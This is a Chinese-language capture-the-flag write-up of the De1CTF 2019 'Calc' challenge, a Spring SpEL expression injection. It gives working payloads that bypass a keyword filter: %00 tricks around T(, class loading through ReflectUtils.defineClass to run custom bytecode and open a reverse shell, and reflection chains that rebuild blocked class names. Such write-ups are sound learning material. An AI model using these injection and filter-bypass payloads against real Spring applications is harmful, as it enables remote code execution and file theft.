De1ctf2019-Calc复现

De1ctf2019-Calc复现

spel表达式注入,1.3.1以下存在的spring漏洞。

但是有过滤操作,拦截了包含不限于以下的关键字

1
ProcessBuilder, getClass, java.lang, Runtime, '#',T(,start

解法一:

因为我们只是读取文件,我们可以用nio文件系统来读取,如果没有任何过滤我们可以构造以下payload去读取。

1
java.nio.file.Files.readAllLines(java.nio.file.Paths.get('/flag'),java.nio.charset.Charset.defaultCharset())

然后转换成spel格式就是

1
T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/flag'),T(java.nio.charset.Charset).defaultCharset())

但是这里对T(过滤了怎么办呢?

在spel解析源码spring-expression-5.2.5.RELEASE.jar!/org/springframework/expression/spel/standard/Tokenizer.class中规定了对00截断字符进行空白符号处理,也就是说我们可以通过%00来绕过。

(具体详见:https://landgrey.me/blog/15/?nsukey=XVe5A7dinIppwf2JitPxpna5tjYGXbzhZhI7CoIwOZiWXbCXOTC0pkyTrQW%2BTQdnF%2BZfHkcGU76mAebccU0AhQ6jy%2B%2BHJN1OgZX5b%2BhTYE46oeJp2rLtiBlWZeL8mlM4xESP0WSUGhAybv7au4PldgUTPqdEiguFHPpwwGO2dWfyHblxiMLkRbmmLtsl1X%2BMTWBUVD4cx0pm3JrwcGqCDA%3D%3D)

payload:

1
T%00(java.nio.file.Files).readAllLines(T%00(java.nio.file.Paths).get('/flag'),T%00(java.nio.charset.Charset).defaultCharset())

如果我们想弹shell怎么办呢?

这里我们可以利用类加载的机制。

spring中有个org.springframework.cglib.core.ReflectUtils类中有个defineClass的静态方法:

1
2
public static Class defineClass(String className, byte[] b, ClassLoader loader) throws Exception {return defineClass(className, b, loader, PROTECTION_DOMAIN);
}

既然这里有定义类的,我们只要再去找到类加载的地方就行了。org.springframework.util.ClassUtils.getDefaultClassLoader()

类加载细节可以参考这里 https://javasec.org/javase/ClassLoader/

构造payload:

1
T%00(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T%00(com.sun.org.apache.xml.internal.security.utils.Base64).decode('构造的字节码的base64加密'),T%00(org.springframework.util.ClassUtils).getDefaultClassLoader())

即可反弹shell,这里利用类加载绕过 openrasp 成功执行了自定义代码。

解法二(官方解法):

既然getclass被过滤了,咋们得想办法重新构造一个能取代getclass的方法。

1
http://106.52.164.141/spel/calc?calc=%27%27.class.getSuperclass().class

这样就可以绕过getcalss的判断,Runtime可以用字符串拼接的方式绕过。

1
http://106.52.164.141/spel/calc?calc=%27%27.class.getSuperclass().class.forName(%27java.la%27+%27ng.Run%27+%27time%27)

这里用到的forName是想利用java的反射来构造类.方法。具体可参考https://javasec.org/javase/Reflection/Reflection.html反射利用机制

这里构造一个本身的payload:
java.nio.file.Files.readAllLines(java.nio.file.Paths.get(java.net.URI.create(java.lang.String(‘file://flag’)))))

这里将这串payload进行“改装”成反射的加载形式:

1
1.class.forName("java.nio.file.Files").getMethod("readAllLines", 1.class.forName("java.nio.file.Path")).invoke(null, 1.class.forName("java.nio.file.Paths").getMethod("get", 1.class.forName("java.net.URI")).invoke(null, 1.class.forName("java.net.URI").getMethod("create", 1.class.forName("java.la"+"ng.Str"+"ing")).invoke(null, "file:///flag")))

总结

最近才开始接触java,不得不说java是一个很有魅力的语言。特利用此题对之前学习的java内容进行巩固和训练。

就此题而言,个人更推荐解法一,是因为解法一更巧妙并且可以加强对java代码以及类加载的理解。

最后

感谢De1ta的付出,比赛体验还是很不错的,题目质量也是很好,学到了很多!